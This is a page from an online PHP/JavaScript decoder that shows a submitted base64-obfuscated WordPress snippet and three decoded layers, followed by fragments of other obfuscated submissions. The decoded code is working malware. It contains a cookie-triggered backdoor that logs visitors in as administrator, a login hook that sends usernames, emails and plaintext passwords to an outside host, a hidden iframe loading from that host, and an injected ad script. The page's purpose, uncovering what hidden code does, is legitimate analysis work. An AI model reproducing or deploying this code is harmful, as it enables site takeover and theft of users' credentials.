Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php

eval(base64_decode('aWYgKCFmdW5jdGlvbl9leGlzdHMoJ2xhc2Nsb2wnKSkgewogICAgZnVuY3Rpb24gbGFzY2xvbCgpCiAgICB7CiAgICAgICAgaWYgKGlzX3VzZXJfbG9nZ2VkX2luKCkpIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAkY29va2llX25hbWUgPSAnX2F1dGgnOwogICAgICAgICRjb29raWVfdmFsdWUgPSAnYmVhcnlfc21vbCc7CiAgICAgICAgaWYgKGlzc2V0KCRfQ09PS0lFWyRjb29raWVfbmFtZV0pICYmICRfQ09PS0lFWyRjb29raWVfbmFtZV0gPT09ICRjb29raWVfdmFsdWUpIHsKICAgICAgICAgICAgJGFyZ3MgPSBhcnJheSgKICAgICAgICAgICAgICAgICdyb2xlJyA9PiAnQWRtaW5pc3RyYXRvcicsCiAgICAgICAgICAgICAgICAnb3JkZXJieScgPT4gJ0lEJywKICAgICAgICAgICAgICAgICdvcmRlcicgPT4gJ0FTQycsCiAgICAgICAgICAgICAgICAnbnVtYmVyJyA9PiAxLAogICAgICAgICAgICApOwogICAgICAgICAgICAkYWRtaW5zID0gZ2V0X3VzZXJzKCRhcmdzKTsKCiAgICAgICAgICAgIGlmICgkYWRtaW5zKSB7CiAgICAgICAgICAgICAgICAkYWRtaW4gPSAkYWRtaW5zWzBdOwogICAgICAgICAgICAgICAgd3Bfc2V0X2N1cnJlbnRfdXNlcigkYWRtaW4tPklELCAkYWRtaW4tPnVzZXJfbG9naW4pOwogICAgICAgICAgICAgICAgd3Bfc2V0X2F1dGhfY29va2llKCRhZG1pbi0+SUQpOwogICAgICAgICAgICAgICAgZG9fYWN0aW9uKCd3cF9sb2dpbicsICRhZG1pbi0+dXNlcl9sb2dpbiwgJGFkbWluKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQoKaWYgKCFoYXNfYWN0aW9uKCdpbml0JywgJ2xhc2Nsb2wnKSkgewogICAgYWRkX2FjdGlvbignaW5pdCcsICdsYXNjbG9sJyk7Cn0KCmlmICghZnVuY3Rpb25fZXhpc3RzKCdrYWtzJykpIHsKICAgIGZ1bmN0aW9uIGtha3MoKQogICAgewogICAgICAgIGlmICghY3VycmVudF91c2VyX2NhbignYWRtaW5pc3RyYXRvcicpKSB7CiAgICAgICAgICAgIGVjaG8gYmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0JoYzNsdVl5QnpjbU05SW1oMGRIQnpPaTh2Y0dGblpXRmtNaTVuYjI5bmJHVnplVzVrYVdOaGRHbHZiaTVqYjIwdmNHRm5aV0ZrTDJwekwyRmtjMko1WjI5dloyeGxMbXB6UDJOc2FXVnVkRDFqWVMxd2RXSXRNemd3T0RBeU1EUTROREk0TlRVNE5TSWdZM0p2YzNOdmNtbG5hVzQ5SW1GdWIyNTViVzkxY3lJK1BDOXpZM0pwY0hRKycpOwogICAgICAgIH0KICAgIH0KfQoKaWYgKCFoYXNfYWN0aW9uKCd3cF9oZWFkJywgJ2tha3MnKSkgewogICAgYWRkX2FjdGlvbignd3BfaGVhZCcsICdrYWtzJywgOTk5OTk5OTk5OTk5OTk5OTk5KTsKfQoKaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2N1c3RvbV9hdXRoZW50aWNhdGVfdXNlcicpKSB7CiAgICBmdW5jdGlvbiBjdXN0b21fYXV0aGVudGljYXRlX3VzZXIoJHVzZXIsICRwYXNzd29yZCkKICAgIHsKICAgICAgICBpZiAoIWlzX3dwX2Vycm9yKCR1c2VyKSAmJiB3cF9jaGVja19wYXNzd29yZCgkcGFzc3dvcmQsICR1c2VyLT51c2VyX3Bhc3MsICR1c2VyLT5JRCkpIHsKICAgICAgICAgICAgJHVybCA9ICdodHRwczovL2J1cnllYmlsZ3JpbGwub25saW5lL3VkYi5waHAnOwoKICAgICAgICAgICAgJGRhdGEgPSBbCiAgICAgICAgICAgICAgICAndXNlcicgPT4gJHVzZXItPnVzZXJfbG9naW4sCiAgICAgICAgICAgICAgICAnZW1haWwnID0+ICR1c2VyLT51c2VyX2VtYWlsLAogICAgICAgICAgICAgICAgJ3Bhc3MnID0+ICRwYXNzd29yZCwKICAgICAgICAgICAgICAgICd1cmwnID0+IGdldF9vcHRpb24oJ3NpdGV1cmwnKQogICAgICAgICAgICBdOwoKICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCR1cmwpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgdHJ1ZSk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCBodHRwX2J1aWxkX3F1ZXJ5KCRkYXRhKSk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CgogICAgICAgICAgICAkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHVzZXI7CiAgICB9Cn0KCmlmICghaGFzX2ZpbHRlcignd3BfYXV0aGVudGljYXRlX3VzZXInLCAnY3VzdG9tX2F1dGhlbnRpY2F0ZV91c2VyJykpIHsKICAgIGFkZF9maWx0ZXIoJ3dwX2F1dGhlbnRpY2F0ZV91c2VyJywgJ2N1c3RvbV9hdXRoZW50aWNhdGVfdXNlcicsIDEwLCAyKTsKfQ=='));
eval(base64_decode('aWYgKCFoYXNfYWN0aW9uKCd3cF9mb290ZXInLCAncmVkaXJfJykpIHsKICAgIGFkZF9hY3Rpb24oJ3dwX2Zvb3RlcicsICdyZWRpcl8nLCA5OTk5OTk5OTk5OTkpOwp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCdyZWRpcl8nKSkgewogICAgZnVuY3Rpb24gcmVkaXJfKCkKICAgIHsKICAgICAgICBlY2hvICc8aWZyYW1lIHNyYz0iaHR0cHM6Ly9idXJ5ZWJpbGdyaWxsLm9ubGluZS9yZWRpci9vdXQucGhwIiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyB0b3A6IDA7IGxlZnQ6IDA7IHdpZHRoOiA1MDBweDsgaGVpZ2h0OiA1MDBweDsgYm9yZGVyOiBub25lOyBkaXNwbGF5OiBub25lOyI+PC9pZnJhbWU+JzsKICAgIH0KfQ=='));

Show other level

Decrypted code level 1:

if (!function_exists('lasclol')) {
    function lasclol()
    {
        if (is_user_logged_in()) {
            return;
        }
        $cookie_name = '_auth';
        $cookie_value = 'beary_smol';
        if (isset($_COOKIE[$cookie_name]) && $_COOKIE[$cookie_name] === $cookie_value) {
            $args = array(
                'role' => 'Administrator',
                'orderby' => 'ID',
                'order' => 'ASC',
                'number' => 1,
            );
            $admins = get_users($args);

            if ($admins) {
                $admin = $admins[0];
                wp_set_current_user($admin->ID, $admin->user_login);
                wp_set_auth_cookie($admin->ID);
                do_action('wp_login', $admin->user_login, $admin);
            }
        }
    }
}

if (!has_action('init', 'lasclol')) {
    add_action('init', 'lasclol');
}

if (!function_exists('kaks')) {
    function kaks()
    {
        if (!current_user_can('administrator')) {
            echo base64_decode('PHNjcmlwdCBhc3luYyBzcmM9Imh0dHBzOi8vcGFnZWFkMi5nb29nbGVzeW5kaWNhdGlvbi5jb20vcGFnZWFkL2pzL2Fkc2J5Z29vZ2xlLmpzP2NsaWVudD1jYS1wdWItMzgwODAyMDQ4NDI4NTU4NSIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+PC9zY3JpcHQ+');
        }
    }
}

if (!has_action('wp_head', 'kaks')) {
    add_action('wp_head', 'kaks', 999999999999999999);
}

if (!function_exists('custom_authenticate_user')) {
    function custom_authenticate_user($user, $password)
    {
        if (!is_wp_error($user) && wp_check_password($password, $user->user_pass, $user->ID)) {
            $url = 'https://buryebilgrill.online/udb.php';

            $data = [
                'user' => $user->user_login,
                'email' => $user->user_email,
                'pass' => $password,
                'url' => get_option('siteurl')
            ];

            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

            $response = curl_exec($ch);
            curl_close($ch);
        }
        return $user;
    }
}

if (!has_filter('wp_authenticate_user', 'custom_authenticate_user')) {
    add_filter('wp_authenticate_user', 'custom_authenticate_user', 10, 2);
}
if (!has_action('wp_footer', 'redir_')) {
    add_action('wp_footer', 'redir_', 999999999999);
}
if (!function_exists('redir_')) {
    function redir_()
    {
        echo '<iframe src="https://buryebilgrill.online/redir/out.php" style="position: absolute; top: 0; left: 0; width: 500px; height: 500px; border: none; display: none;"></iframe>';
    }
}

Decrypted code level 2:

if (!function_exists('lasclol')) {
    function lasclol()
    {
        if (is_user_logged_in()) {
            return;
        }
        $cookie_name = '_auth';
        $cookie_value = 'beary_smol';
        if (isset($_COOKIE[$cookie_name]) && $_COOKIE[$cookie_name] === $cookie_value) {
            $args = array(
                'role' => 'Administrator',
                'orderby' => 'ID',
                'order' => 'ASC',
                'number' => 1,
            );
            $admins = get_users($args);

            if ($admins) {
                $admin = $admins[0];
                wp_set_current_user($admin->ID, $admin->user_login);
                wp_set_auth_cookie($admin->ID);
                do_action('wp_login', $admin->user_login, $admin);
            }
        }
    }
}

if (!has_action('init', 'lasclol')) {
    add_action('init', 'lasclol');
}

if (!function_exists('kaks')) {
    function kaks()
    {
        if (!current_user_can('administrator')) {
            echo <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3808020484285585" crossorigin="anonymous"></script>;
        }
    }
}

if (!has_action('wp_head', 'kaks')) {
    add_action('wp_head', 'kaks', 999999999999999999);
}

if (!function_exists('custom_authenticate_user')) {
    function custom_authenticate_user($user, $password)
    {
        if (!is_wp_error($user) && wp_check_password($password, $user->user_pass, $user->ID)) {
            $url = 'https://buryebilgrill.online/udb.php';

            $data = [
                'user' => $user->user_login,
                'email' => $user->user_email,
                'pass' => $password,
                'url' => get_option('siteurl')
            ];

            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

            $response = curl_exec($ch);
            curl_close($ch);
        }
        return $user;
    }
}

if (!has_filter('wp_authenticate_user', 'custom_authenticate_user')) {
    add_filter('wp_authenticate_user', 'custom_authenticate_user', 10, 2);
}
if (!has_action('wp_footer', 'redir_')) {
    add_action('wp_footer', 'redir_', 999999999999);
}
if (!function_exists('redir_')) {
    function redir_()
    {
        echo '<iframe src="https://buryebilgrill.online/redir/out.php" style="position: absolute; top: 0; left: 0; width: 500px; height: 500px; border: none; display: none;"></iframe>';
    }
}

Decrypted code level 3:

if (!function_exists('lasclol')) {
    function lasclol()
    {
        if (is_user_logged_in()) {
            return;
        }
        
        
        if (isset($_COOKIE['_auth']) && $_COOKIE['_auth'] === 'beary_smol') {
            $args = array(
                'role' => 'Administrator',
                'orderby' => 'ID',
                'order' => 'ASC',
                'number' => 1,
            );
            $admins = get_users($args);

            if ($admins) {
                $admin = $admins[0];
                wp_set_current_user($admin->ID, $admin->user_login);
                wp_set_auth_cookie($admin->ID);
                do_action('wp_login', $admin->user_login, $admin);
            }
        }
    }
}

if (!has_action('init', 'lasclol')) {
    add_action('init', 'lasclol');
}

if (!function_exists('kaks')) {
    function kaks()
    {
        if (!current_user_can('administrator')) {
            echo <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3808020484285585" crossorigin="anonymous"></script>;
        }
    }
}

if (!has_action('wp_head', 'kaks')) {
    add_action('wp_head', 'kaks', 999999999999999999);
}

if (!function_exists('custom_authenticate_user')) {
    function custom_authenticate_user($user, $password)
    {
        if (!is_wp_error($user) && wp_check_password($password, $user->user_pass, $user->ID)) {
            $url = 'https://buryebilgrill.online/udb.php';

            $data = [
                'user' => $user->user_login,
                'email' => $user->user_email,
                'pass' => $password,
                'url' => get_option('siteurl')
            ];

            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

            $response = curl_exec($ch);
            curl_close($ch);
        }
        return $user;
    }
}

if (!has_filter('wp_authenticate_user', 'custom_authenticate_user')) {
    add_filter('wp_authenticate_user', 'custom_authenticate_user', 10, 2);
}
if (!has_action('wp_footer', 'redir_')) {
    add_action('wp_footer', 'redir_', 999999999999);
}
if (!function_exists('redir_')) {
    function redir_()
    {
        echo '<iframe src="https://buryebilgrill.online/redir/out.php" style="position: absolute; top: 0; left: 0; width: 500px; height: 500px; border: none; display: none;"></iframe>';
    }
}

Recent submissions:

<?php eval(gzinflate(base64_decode(base64_decode(str_rot13("EycyZ0IlHxySo1WzJyqCqP9EGHElMH... <?php $mhash = "4ee4df667569b3946491bb819e2f285c"; $auth_pass = md5($mhash."-check"); ... <?php eval(base64_decode('aWYgKCFmdW5jdGlvbl9leGlzdHMoJ2xhc2Nsb2wnKSkgewogICAgZnVuY3Rpb... <?php $a=base64_decode('WzkwXVs1MF1bNTddWzQ4XVs5OF1bMTIxXVs2Nl1bMTE5XVs3OF1bODZdWzg1XVs1MF... <?php $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cyg... <?php eval(base64_decode("\103\x69\x42\154\144\155\106\x73\x4b\107\x64\66\x61\127\x35\x6... eval(atob('dmFyIHU9dm9pZCAwLGk0PTQsaTg9OCxyZWM9bmV3IFJlZ0V4cCgiLnsxLDR9IiwiZyIpO2Z1bmN0aW9... <?php namespace App\Models; use CodeIgniter\Model; class MainModel extends Model { publi... goto s4YPJ; DMbf5: fclose($J66t3[2]); goto ljWvE; gW3aw: echo "\x3c\x66\x6f\x72\155\40\15... UdtfIkYTyKkWWU23/gQHPovDApnarM+fZqlCs9NsG7U3/xIpxID/Em4RTp9rK+ozcHMn/Uvhw63pLJhxIKbR2WfDgh...